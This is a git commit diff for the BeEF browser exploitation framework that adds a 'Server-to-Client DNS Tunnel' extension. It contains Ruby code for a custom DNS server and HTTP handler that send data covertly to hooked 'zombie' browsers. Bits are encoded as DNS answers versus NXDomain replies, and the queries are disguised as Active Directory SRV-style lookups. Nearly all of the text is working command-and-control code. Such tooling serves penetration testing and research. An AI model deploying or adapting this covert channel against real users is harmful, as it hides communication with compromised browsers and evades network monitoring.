Added DNS and ETag covert channels
This commit is contained in:
56
extensions/s2c_dns_tunnel/api.rb
Normal file
56
extensions/s2c_dns_tunnel/api.rb
Normal file
@@ -0,0 +1,56 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
module API
|
||||
|
||||
module ServerClientDnsTunnelHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'pre_http_start' )
|
||||
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
|
||||
BeEF::API::Server, 'mount_handler' )
|
||||
|
||||
# Starts the S2C DNS Tunnel server at BeEF startup.
|
||||
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.pre_http_start(http_hook_server)
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
|
||||
|
||||
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
|
||||
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
|
||||
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
|
||||
|
||||
port = 53
|
||||
protocol = :udp
|
||||
interfaces = [[protocol, listen, port]]
|
||||
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
|
||||
dns.run(:listen => interfaces, :zone => zone)
|
||||
|
||||
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
|
||||
info = ''
|
||||
info += "Zone: " + zone + "\n"
|
||||
print_more info
|
||||
|
||||
end
|
||||
|
||||
# Mounts the handler for processing HTTP image requests.
|
||||
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.mount_handler(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
|
||||
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
16
extensions/s2c_dns_tunnel/config.yaml
Normal file
16
extensions/s2c_dns_tunnel/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
s2c_dns_tunnel:
|
||||
enable: false
|
||||
name: 'Server-to-Client DNS Tunnel'
|
||||
authors: ['dnkolegov','afr1ka']
|
||||
# Define which network interface DNS server should listen. IP-address of this interface will be used in DNS answers.
|
||||
# By default, DNS server will be started on the interface which has a highest IP-address and will listen UDP 53 port only.
|
||||
# listen: ''
|
||||
# Zone managed by DNS server. DNS server will not be started if zone is not specified
|
||||
zone: ''
|
||||
118
extensions/s2c_dns_tunnel/dnsd.rb
Normal file
118
extensions/s2c_dns_tunnel/dnsd.rb
Normal file
@@ -0,0 +1,118 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
class RubyDNS::Transaction
|
||||
|
||||
def fail!(rcode,domain)
|
||||
append_question!
|
||||
|
||||
if rcode.kind_of? Symbol
|
||||
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
|
||||
else
|
||||
@answer.rcode = rcode.to_i
|
||||
end
|
||||
|
||||
if rcode == :NXDomain
|
||||
@answer.aa = 1
|
||||
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
|
||||
Resolv::DNS::Name.create("hostmaster." + domain),
|
||||
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
|
||||
)
|
||||
@answer.add_authority(name,3600,soa)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Server < RubyDNS::Server
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_accessor :messages
|
||||
|
||||
def initialize()
|
||||
super()
|
||||
@lock = Mutex.new
|
||||
end
|
||||
|
||||
# Starts the custom DNS server.
|
||||
#
|
||||
# @param options [Hash] server configuration options
|
||||
# @option options [Array<Array>] :zone - zone manged by BeEF DNS server for data exfiltration
|
||||
# @option options [Array<Array>] :listen - local interfaces to listen on
|
||||
def run(options = {})
|
||||
@lock.synchronize do
|
||||
Thread.new do
|
||||
EventMachine.next_tick do
|
||||
listen = options[:listen] || nil
|
||||
super(:listen => listen)
|
||||
|
||||
@selfip = options[:listen][0][1]
|
||||
@zone = options[:zone]
|
||||
@messages = {}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Entry point for processing incoming DNS requests.
|
||||
#
|
||||
# @param name [String] name of the resource record being looked up
|
||||
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
|
||||
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
||||
def process(name,resource,transaction)
|
||||
@lock.synchronize do
|
||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
|
||||
transaction.fail!(:Refused,@zone)
|
||||
return
|
||||
end
|
||||
|
||||
# Parce query name in accordance with Active Directory SRV resource records
|
||||
cid = name.split('.')[2].split('-')[2].to_i
|
||||
bit = name.split('.')[2].split('-')[3].to_i(16)
|
||||
|
||||
if @messages[cid] != nil
|
||||
message = @messages[cid]
|
||||
else
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
return
|
||||
end
|
||||
|
||||
if message.length <= bit
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
return
|
||||
end
|
||||
|
||||
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
|
||||
if message[bit] == '1'
|
||||
transaction.respond!(@selfip)
|
||||
return
|
||||
# If the bit is equal to 0 we should return NXDomain message
|
||||
elsif message[bit] == '0'
|
||||
transaction.fail!(:NXDomain,@zone)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Helper method that formats the given resource class in a human-readable format.
|
||||
#
|
||||
# @param resource [Resolv::DNS::Resource::IN] resource class
|
||||
# @return [String] resource name stripped of any module/class names
|
||||
def format_resource(resource)
|
||||
/::(\w+)$/.match(resource.name)[1]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
22
extensions/s2c_dns_tunnel/extension.rb
Normal file
22
extensions/s2c_dns_tunnel/extension.rb
Normal file
@@ -0,0 +1,22 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
extend BeEF::API::Extension
|
||||
@short_name = 'S2C DNS Tunnel'
|
||||
@full_name = 'Server-to-Client DNS Tunnel'
|
||||
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
|
||||
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/s2c_dns_tunnel/dnsd'
|
||||
require 'extensions/s2c_dns_tunnel/api'
|
||||
require 'extensions/s2c_dns_tunnel/httpd'
|
||||
24
extensions/s2c_dns_tunnel/httpd.rb
Normal file
24
extensions/s2c_dns_tunnel/httpd.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module ServerClientDnsTunnel
|
||||
|
||||
class Httpd < Sinatra::Base
|
||||
|
||||
def initialize(domain)
|
||||
super()
|
||||
@domain = domain
|
||||
end
|
||||
|
||||
get "/map" do
|
||||
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
|
||||
path = File.dirname(__FILE__)
|
||||
send_file File.join(path, 'pixel.jpg')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'sinatra/base'
|
||||
BIN
extensions/s2c_dns_tunnel/pixel.jpg
Normal file
BIN
extensions/s2c_dns_tunnel/pixel.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 309 B |
Reference in New Issue
Block a user